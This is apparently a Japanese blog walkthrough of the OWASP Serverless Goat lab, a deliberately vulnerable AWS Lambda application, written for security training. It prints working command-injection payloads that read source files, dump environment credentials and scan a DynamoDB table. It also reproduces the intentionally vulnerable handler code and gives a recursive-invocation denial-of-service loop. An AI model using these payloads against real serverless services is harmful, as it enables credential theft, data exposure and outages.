セキュリティ診断のハンズオンなどの目的で、敢えて脆弱性を残しているいわゆる”やられアプリ”。
元旦から何やってんだという感じはありますが、折角時間があるので兼ねてから攻略したかった OWASP Serverless Goat をやっつけていきます。
OWASP Serverless Goat とは
OWASP Serverless Goat はイスラエルのセキュリティスタートアップ PureSec が作成した The Ten Most Critical Risks for Serverless Applications v1.0 に基づいた、サーバーレスアプリケーション固有の脆弱性をわざと埋め込んだ Web アプリケーションです。
以下の教育目的で作成されたものであり、それ以外の目的で利用することは望ましくありません。
- 開発者とセキュリティ担当者に一般的なサーバーレスアプリケーションレイヤーのリスクと弱点について教える
- サーバーレスアプリケーションレイヤーの弱点を悪用する方法を教育する
- 開発者とセキュリティ担当者にサーバーレスセキュリティのベストプラクティスについて指導する
お約束事
- アプリケーション所有者の許可なしに本記事または原文で説明する攻撃手法を実行しないこと
- 基本的に、自分でデプロイした Serverless Goat 以外のアプリに対して実行しないこと
- クラウドサーバーで練習する場合、クラウドベンダーがペンテストを許可しているか、ペンテストを行うのにどんな手続きが必要か調べてから行うこと
- 例えば AWS で行う場合、以下のドキュメントをしっかりと読み、遵守すること
- Serverless Goat は AWS アカウントを危険にさらさないように設計されていますが、それでも本番環境にこの脆弱なアプリをデプロイしないこと
Serverless Goat のデプロイ
以下では公式リポジトリの説明に従い、AWS で用意されてあるものを利用します。
- AWS にログイン
- このリンクに移動
- [Deploy] をクリック
以降はデプロイした Serverless Goat を攻撃していきます。
ヒントを見ずに挑戦したい方は以下を読まないでチャレンジしてみてください。
CheatSheet
ServerlessGoat/LESSONS.md を元に、順を追って診断を進めていきます。
Lesson 1: 情報収集
セキュリティ検査は、一般的にアプリケーションに関する情報収集から始めていきます。
URL やレスポンスヘッダーから、アプリケーションが AWS 上でホストされていることを推測することができます。
- アプリケーションが AWS API Gateway を介して公開される場合、URL の形式は https://{string} .execute-api.{region}.amazonaws.com/{stage}/... になる
- アプリケーションが AWS API Gateway を介して公開される場合、HTTP レスポンスヘッダーには x-amz-apigw-id、x-amzn-requestid、x-amzn-trace-id などのヘッダー名が含まれる場合がある
また、開発者が未処理の例外や詳細なエラーメッセージを残した場合、これらのメッセージには機密情報が含まれている可能性があり、そこから更なる事実が読み取られる可能性があります。
例として、Serverless Goat がドキュメントの変換の際に呼び出している HTTP GET リクエストを使用して API を呼び出してみます。クエリ文字列に document_url パラメーターは使用していないため、この呼び出しはエラーとなり、以下のスタックトレースが吐かれます。
~ > curl https://xxxxxxxx.execute-api.ap-northeast-1.amazonaws.com/Prod/api/convert
TypeError: Cannot read property 'document_url' of null
at log (/var/task/index.js:9:49)
at exports.handler (/var/task/index.js:25:11)
このスタックトレースを見ると、AWS Lambda が Lambda 関数を保存して実行する /var/task ディレクトリにアプリケーションが配置されていることがわかります。exports.handler という文字列も見えるため、AWS Lambda を採用していることが分かります。
緩和策:リクエストの検証には API Gateway を使用する
Amazon API Gateway は以下に挙げるような「リクエスト検証」機能を通じてベーシックなリクエスト検証を実行できます。
- URI、query string、ヘッダ に必須パラメータが含まれており、空白ではないこと
- 該当するリクエストペイロードは、設定済の JSON スキーマリクエストモデルに準拠していること
Amazon API Gateway で基本的な検証を有効にするには、リクエストバリデーターで検証ルールを指定し、API のリクエストバリデーターのマップにバリデーターを追加し、個々の API メソッドにバリデーターを割り当てます。
Lesson 2: Lambda 関数のリバースエンジニアリング
次のステップでは Lambda 関数のソースコードにアクセスしてリバースエンジニアリングし、追加の弱点を発見します。
OS コマンドインジェクションを試してみましょう。
- フォームの URL フィールドで URL フィールドに次の値を入力します。
https://www.puresec.io/hubfs/document.doc
- 次の値を試してください。
https://www.puresec.io/hubfs/document.doc; sleep 1 #
- 文字化けしたテキストを返しますが、関数が実行されます
- 次に、本当に長いスリープ値を試してみます。これによって AWS Lambda 関数の実行時間は設定されたタイムアウト上限値に達します(デフォルトは5分ですが、Serverless Goat では10秒に設定されています)
https://www.puresec.io/hubfs/document.doc; sleep 5000 #
これによって以下のエラーが確認できます。
{"message": "Internal server error"}
sleep コマンドがバックエンド側で実行されることから、アプリケーションが API の document_url パラメーターを介した OS コマンドインジェクションに対して脆弱であることがわかりました。
既にスタックトレースから AWS Lambda を利用していることが分かっているので、以下のコマンドを実行してソースコードを抽出することができます。
https://foobar; cat /var/task/index.js #
const child_process = require('child_process'); const AWS = require('aws-sdk'); const uuid = require('node-uuid'); async function log(event) { const docClient = new AWS.DynamoDB.DocumentClient(); let requestid = event.requestContext.requestId; let ip = event.requestContext.identity.sourceIp; let documentUrl = event.queryStringParameters.document_url; await docClient.put({ TableName: process.env.TABLE_NAME, Item: { 'id': requestid, 'ip': ip, 'document_url': documentUrl } } ).promise(); } exports.handler = async (event) => { try { await log(event); let documentUrl = event.queryStringParameters.document_url; let txt = child_process.execSync(`curl --silent -L ${documentUrl} | ./bin/catdoc -`).toString(); // Lambda response max size is 6MB. The workaround is to upload result to S3 and redirect user to the file. let key = uuid.v4(); let s3 = new AWS.S3(); await s3.putObject({ Bucket: process.env.BUCKET_NAME, Key: key, Body: txt, ContentType: 'text/html', ACL: 'public-read' }).promise(); return { statusCode: 302, headers: { "Location": `${process.env.BUCKET_URL}/${key}` } }; } catch (err) { return { statusCode: 500, body: err.stack }; } };
※ソースコードはこちら
ソースコードからは多くのことが分かります。
- AWS DynamoDB NoSQL データベースを使用していること
- node-uuid という Node.js パッケージを使用していること
- ユーザーの名前が TABLE_NAME 環境変数で定義されている DynamoDB テーブル内に機密ユーザー情報(IP アドレスとドキュメント URL)を保存していること
- child_process.execSync() を適切な検証なしで呼び出しているため OS コマンドインジェクションが成立したこと
- API 呼び出しの出力は S3 バケット内に保存され、その名前も環境変数- BUCKET_NAME 内に保存されること
Lesson 3: 環境変数の採掘
フォームに env コマンドを入力して、環境変数からデータを取得しましょう
https://foobar; env #
AWS_SESSION_TOKEN=XXXXXXXXXXXXX
TABLE_NAME={dynamo_table_name}
AWS_SECRET_ACCESS_KEY=XXXXXXXXXXXXX
BUCKET_NAME={bucket_name}
AWS_ACCESS_KEY_ID=XXXXXXXXXXXXX
通常、安全に保護された AWS Lambda 環境ではエンドユーザーは環境変数にアクセスできませんが、機密情報を環境変数内に暗号化せずに保存することは悪い習慣です。
Lesson 4: 過剰な権限を持つ IAM ロールのエクスプロイト
Lambda 関数のリバースエンジニアリングから、AWS.DynamoDB.DocumentClient の put() メソッドを使用してクライアントの IP アドレスとドキュメント URL の値を DynamoDB に保存していることがわかっています。セキュリティで保護されたシステムでは、機能に付与されるアクセス許可は最小限の特権と最小限、つまり dynamodb:PutItem のみにする必要がありますが、AWS SAM が提供する CRUD DynamoDB ポリシーを選択した場合、開発者は次のアクセス許可を付与することになります。
- dynamodb:GetItem
- dynamodb:DeleteItem
- dynamodb:PutItem
- dynamodb:Scan
- dynamodb:Query
- dynamodb:UpdateItem
- dynamodb:BatchWriteItem
- dynamodb:BatchGetItem
- dynamodb:DescribeTable
URL フィールドで次のペイロードを使用して、何が起こるか見てみましょう。
https://; node -e 'const AWS = require("aws-sdk"); (async () => {console.log(await new AWS.DynamoDB.DocumentClient().scan({TableName: process.env.TABLE_NAME}).promise());})();'
これまで登録されてきた IP アドレスやドキュメント URL を参照することができました。
もちろん、Delete や Update も可能です。
Lesson 5: セキュアではないクラウド構成の乱用
BUCKET_NAME という環境変数から、アプリケーションで使用されているバケットの名前は既にわかっています。
バケット名については、サーバーからのレスポンスヘッダを確認することでも(多分)比較的簡単に看破することができると思います。
以下のフォーマットで取得できているはずなので、
http://serverlessrepo-serverless-goat-bucket-{string}
以下のフォーマットの URI にして、Web ブラウザからリクエストしてみましょう
http://serverlessrepo-serverless-goat-bucket-{string}.s3.amazonaws.com/
コンテンツのリストが取得されるので、これらの uuid を直接指定することで他のユーザーがアップロードしたコンテンツを閲覧することができます。
Lesson 6: オープンソースパッケージの既知の脆弱性を見つける
Lambda 関数のリバースエンジニアリングから、node-uuid NPM パッケージへの依存関係が含まれていることがわかりました。
さらに、AWS Lambda の /var/task フォルダからそのバージョンを特定します。
https://www.puresec.io/hubfs/document.doc; ls #
結果↓
bin index.js node_modules package.json package-lock.json
開発者が package.json ファイルを関数と一緒にパッケージ化したようなので、その内容をリストしましょう
https://; cat package.json #
↓
{ "private": true, "dependencies": { "node-uuid": "1.4.3" } }
お気に入りの OSS 依存関係チェッカーを利用して、攻撃に利用できる既知の脆弱性がないか確認してみてください。
Lesson 7: Denial of Service - Really?! On Serverless?
サーバーレスプラットフォームは自動的にスケーリングしますが、制限もあります。例えば、AWS アカウント全体の同時実行制限(デフォルトは1,000)があります。
Serverless Goat の開発者は、各機能に5つの同時実行の予約容量を設定しているので、それを利用して DOS を仕掛けます。関数を5回呼び出す方法は多数ありますが、5つの実行すべてを十分な時間生存させたい場合は、それらを再帰的に呼び出すというテクニックがあります。コツは次のとおり。
https://{string}.execute-api.us-east-1.amazonaws.com/Prod/api/convert?document_url=https%3A%2F%2F{string}.execute-api.us-east-1.amazonaws.com%2FProd%2Fapi%2Fconvert%3Fdocument_url...
さらにそれをスクリプトでラップして100回ほど回します。
for i in {1..100}; do
echo $i
curl -L https://{paste_url_here}
done
上記を実行した状態で別のターミナルウィンドウから API を複数回呼び出すと、運がよければ以下のエラーレスポンスが見られます。
{"message": "Internal server error"}
感想
- OS コマンドインジェクションからサーバーの環境情報などを抜き取る手法やユーザー権限管理の話など、基本的に サーバーレスも従来の Web アプリと気をつけるところは一緒だなー、という印象(小並感)
- ただし元ネタになっているドキュメントでも再三注意されているように、構成管理や責任の所在が複雑になることで従来のアプリよりも却って脆弱性が混入しやすいという危険性はありそう
- 環境変数は KMS で暗号化しておくのが良いのかな
- Encrypting Environment Variables Client-Side in a Lambda Function
- しかし Lambda 関数内で任意のコードが実行できたらそれも意味なさそう
- Encrypting Environment Variables Client-Side in a Lambda Function